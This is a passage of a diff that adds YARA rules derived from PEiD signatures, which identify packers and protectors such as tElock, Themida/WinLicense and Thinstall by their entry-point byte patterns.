+        $a = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a
+}
+rule PEiD_02196_tElock_v0_41x_
+{
+    meta:
+        description = "[tElock v0.41x]"
+        ep_only = "true"
+    strings:
+        $a = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_02197_tElock_v0_42_
+{
+    meta:
+        description = "[tElock v0.42]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a
+}
+rule PEiD_02198_tElock_v0_4x___v0_5x_
+{
+    meta:
+        description = "[tElock v0.4x - v0.5x]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_02199_tElock_v0_51_
+{
+    meta:
+        description = "[tElock v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_02200_tElock_v0_60_
+{
+    meta:
+        description = "[tElock v0.60]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+    condition:
+        $a
+}
+
+rule PEiD_02201_tElock_v0_70_
+{
+    meta:
+        description = "[tElock v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+    condition:
+        $a
+}
+rule PEiD_02202_tElock_v0_71_
+{
+    meta:
+        description = "[tElock v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ED 10 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02203_tElock_v0_71b2_
+{
+    meta:
+        description = "[tElock v0.71b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 44 11 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02204_tElock_v0_71b7_
+{
+    meta:
+        description = "[tElock v0.71b7]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 48 11 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02205_tElock_v0_7x___v0_84_
+{
+    meta:
+        description = "[tElock v0.7x - v0.84]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02206_tElock_v0_80_
+{
+    meta:
+        description = "[tElock v0.80]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 F9 11 00 00 C3 83}
+    condition:
+        $a
+}
+rule PEiD_02207_tElock_v0_85f_
+{
+    meta:
+        description = "[tElock v0.85f]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+    condition:
+        $a
+}
+
+rule PEiD_02208_tElock_v0_90_
+{
+    meta:
+        description = "[tElock v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+    condition:
+        $a
+}
+
+rule PEiD_02209_tElock_v0_92a_
+{
+    meta:
+        description = "[tElock v0.92a]"
+        ep_only = "true"
+    strings:
+        $a = {E9 7E E9 FF FF 00}
+    condition:
+        $a
+}
+rule PEiD_02210_tElock_v0_95_
+{
+    meta:
+        description = "[tElock v0.95]"
+        ep_only = "true"
+    strings:
+        $a = {E9 D5 E4 FF FF 00}
+    condition:
+        $a
+}
+
+rule PEiD_02211_tElock_v0_96_
+{
+    meta:
+        description = "[tElock v0.96]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00}
+    condition:
+        $a
+}
+rule PEiD_02212_tElock_v0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock v0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02213_tElock_v0_98_
+{
+    meta:
+        description = "[tElock v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+    condition:
+        $a
+}
+rule PEiD_02214_tElock_v0_98b1_
+{
+    meta:
+        description = "[tElock v0.98b1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02215_tElock_v0_98b2_
+{
+    meta:
+        description = "[tElock v0.98b2]"
+        ep_only = "true"
+    strings:
+        $a = {E9 1B E4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02216_tElock_v0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock v0.99 Special Build -> heXer & forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02217_tElock_v1_00_
+{
+    meta:
+        description = "[tElock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {E9 E5 E2 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02218_The_aPE_Inline_Patch_Basic__Advanced__Stealth__
+{
+    meta:
+        description = "[The aPE Inline Patch Basic, Advanced, Stealth)]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 ?? ?? 00 00 89 01 68}
+    condition:
+        $a
+}
+
+rule PEiD_02219_The_aPE_Inline_Patch_ExtraStealth__SuperStealth__
+{
+    meta:
+        description = "[The aPE Inline Patch ExtraStealth, SuperStealth)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 ?? ?? ?? EB 01 C3 3E 8B 44 24 FC 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+
+
+rule PEiD_02220_The_Guard_Library_
+{
+    meta:
+        description = "[The Guard Library]"
+        ep_only = "true"
+    strings:
+        $a = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_02221_The_Norton_Antivirus_Information_file_
+{
+    meta:
+        description = "[The Norton Antivirus Information file]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 65 20 4E 6F 72 74 6F 6E 20 41 6E 74 69 56 69 72 75 73 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_02222_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02223_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02224_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? ?? 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02225_Themida____Oreans_Technologies_2004_
+{
+    meta:
+        description = "[Themida -> Oreans Technologies 2004]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02226_themida_1_0_0_5____http___www_oreans_com_
+{
+    meta:
+        description = "[themida 1.0.0.5 -> http?//www.oreans.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+    condition:
+        $a
+}
+rule PEiD_02227_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a
+}
+
+rule PEiD_02228_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+    condition:
+        $a
+}
+rule PEiD_02229_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02230_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+    condition:
+        $a
+}
+rule PEiD_02231_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a
+}
+
+rule PEiD_02232_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? 00 03 C7 B9 ?? ?? ?? 00 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 00 00 02 00 00 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02233_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+    condition:
+        $a
+}
+rule PEiD_02234_Themida_1_2_0_1____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 11 02 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02235_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+    condition:
+        $a
+}
+
+rule PEiD_02236_Themida_1_8_x_x____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.8.x.x -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02237_Themida_WinLicense_V1_0_0_0_V1_8_0_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.0.0-V1.8.0.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02238_Themida_WinLicense_V1_0_X_V1_7_X_DLL____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02239_Themida_WinLicense_V1_8_2_0______Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.2.0 + -> Oreans Technologies ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02240_Themida_WinLicense_V1_8_X_V1_9_X_nbsp_____Oreans_Technologies_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Themida/WinLicense V1.8.X-V1.9.X&nbsp; -> Oreans Technologies&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+    condition:
+        $a
+}
+rule PEiD_02241_Themida_WinLicense_V1_X_NoCompression_SecureEngine____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02242_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02243_theWRAP___by_TronDoc_
+{
+    meta:
+        description = "[theWRAP - by TronDoc]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+    condition:
+        $a
+}
+rule PEiD_02244_Thinstall_2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall 2.403 -> Jitit]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02245_Thinstall_2_4x___2_5x____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall 2.4x - 2.5x -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+    condition:
+        $a
+}
+rule PEiD_02246_Thinstall_2_5_________h__
+{
+    meta:
+        description = "[Thinstall 2.5 -> ??? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02247_Thinstall_2_5xx____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.5xx -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02248_Thinstall_2_628____Jtit__h__
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit (h)]"
+        ep_only = "true"
+    strings:
